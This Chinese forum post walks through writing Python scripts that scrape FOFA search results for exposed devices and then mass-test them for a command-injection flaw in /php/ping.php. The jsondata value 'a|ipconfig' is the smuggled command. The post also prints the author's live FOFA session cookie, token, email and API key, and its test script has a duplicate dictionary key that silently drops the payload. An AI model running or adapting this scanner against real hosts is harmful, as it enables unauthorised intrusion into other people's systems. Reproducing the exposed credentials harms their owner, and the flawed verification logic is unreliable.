wonderfulUU 发表于 2024-1-14 20:58

基于fofa的批量cve漏洞验证爬虫程序开发

本帖最后由 wonderfulUU 于 2024-1-14 21:03 编辑

漏洞复现

FOFA查询语句:icon_hash="-1830859634"该漏洞源于文件/php/ping.php的参数jsondata会导致操作系统命令注入,执行任意命令


fofa指纹搜索


正常我们是fofa搜指纹,然后一个一个抓包验证python批量爬取fofa搜索结果爬虫可以简单理解为模拟成浏览器,取访问爬取数据一般在请求头里面加上,User-agent,cookie等等,有时候爬取不到信息,可能就是模拟的力度不够大


import requestsurl='https://fofa.info/result?qbase64=aWNvbl9oYXNoPSItMTgzMDg1OTYzNCI%3D'
header={
    'Cookie':'ga=GA1.1.576012199.1699060653; __fcd=IDlpZX5ieCF7Uc1hehEWf4dU; fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MzUxMDc2LCJtaWQiOjEwMDIwMTI0NSwidXNlcm5hbWUiOiJ3b25kZXJmdWxVVVUiLCJleHAiOjE3MDUxMjQ3ODh9.FQocF4DcbG9lWG3kwEFXwxfkZUCxYdn2Mp1saUbir09qjaQhu1rQtXDAeDmVfpbVFsVoA2PJlwmSUu_QngeIVw; user=%7B%22id%22%3A351076%2C%22mid%22%3A100201245%2C%22is_admin%22%3Afalse%2C%22username%22%3A%22wonderfulUUU%22%2C%22nickname%22%3A%22wonderfulUUU%22%2C%22email%22%3A%221569676321%40qq.com%22%2C%22avatar_medium%22%3A%22https%3A%2F%2Fnosec.org%2Fmissing.jpg%22%2C%22avatar_thumb%22%3A%22https%3A%2F%2Fnosec.org%2Fmissing.jpg%22%2C%22key%22%3A%22a283f5e9560c2cadac2cb109d047699a%22%2C%22category%22%3A%22user%22%2C%22rank_avatar%22%3A%22%22%2C%22rank_level%22%3A0%2C%22rank_name%22%3A%22%E6%B3%A8%E5%86%8C%E7%94%A8%E6%88%B7%22%2C%22company_name%22%3A%22wonderfulUUU%22%2C%22coins%22%3A0%2C%22can_pay_coins%22%3A0%2C%22fofa_point%22%3A0%2C%22credits%22%3A1%2C%22expiration%22%3A%22-%22%2C%22login_at%22%3A0%2C%22data_limit%22%3A%7B%22web_query%22%3A300%2C%22web_data%22%3A3000%2C%22api_query%22%3A0%2C%22api_data%22%3A0%2C%22data%22%3A-1%7D%2C%22expiration_notice%22%3Afalse%2C%22remain_giveaway%22%3A0%2C%22fpoint_upgrade%22%3Afalse%7D; isRedirectLang=1; is_flag_login=0; befor_router=; is_mobile=pc; baseShowChange=false; viewOneHundredData=false; _ga_9GWBD260K9=GS1.1.1704931338.18.1.1704931584.0.0.0',
    'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
}
resp=requests.get(url=url,headers=header)
page_text=resp.content.decode('utf-8')
print(page_text)页面爬出来之后,利用xpath把我们需要的ip地址给爬取下来


先看一下网页源代码,是在div=>span=>a=>href


爬取出ip地址后我们要存到文件中,而且要保证它的顺序,不能乱码


我们这里的xpath提取出来的其实是列表数据,需要用join方法转成字符串



接下来我们考虑的是批量从fofa获取资产,不局限于第一页,我们看第二页这里我们用一个for循环



还有一个就是写数据到txt中时,是一个增量数据,需要改一下写入模式为add


另外优化的地方,我们
如果要拓展其他的指纹来搜索,我们观察一下他搜索的参数
其实是一个base64的加密

我们把需要base加密的部分再分割一下,加密过后再拼接上去


批量验证程序


先写验证一个链接的程序


因为这是一个post请求,所以要设置一下data,我们要转成python能够读取的字典格式


很多时候是https的链接,我们需要设置一下参数,verify=False,忽略掉告警


我们来观察一下这个响应的特征


找一下出现漏洞的时候响应数据有哪些共同的特质


首先子网掩码这个255.255肯定是有的,也有一些其他的特征,解码之后可能更加准确

批量打开之前的地址文件


还有一个问题就是很多链接是有问题的,状态码是400,500还有响应超时等等问题这个时候就需要考虑到程序的健壮性,可以忽略掉报错,持续的运行import requests
with open('test.txt', 'r') as file:
    for line in file:
      url=line.strip()#去除每行空格

      #url ='https://119.188.246.32'
      payload='/php/ping.php'
      all_url=url+payload
      #print(all_url)
      data={
            'jsondata':'a|ipconfig',
            'jsondata':'1'
      }
      try:
            resp=requests.post(url=all_url,data=data,verify=False,timeout=10)
            #resp=requests.post(url=all_url,data=data,verify=False)
            # 从响应中获取HTTP状态码
            r_code = resp.status_code
            requests.packages.urllib3.disable_warnings()
            page_text=resp.content.decode('utf-8')
            #print(page_text)
            if '255.255' in page_text:
                print(all_url,'有漏洞')
                all_data=all_url+'\n'
                with open('test_yanzh.txt','a') as fp:
                  fp.write(all_data)
            else:
                print(all_url,'无漏洞')
      # 处理超时异常
      except requests.exceptions.Timeout:
            print(f"{all_url} 请求超时")
      # 处理其他请求相关的异常
      except requests.exceptions.RequestException as e:
            print(f"{all_url} 请求发生异常: {e}")



页: [1]
查看完整版本: 基于fofa的批量cve漏洞验证爬虫程序开发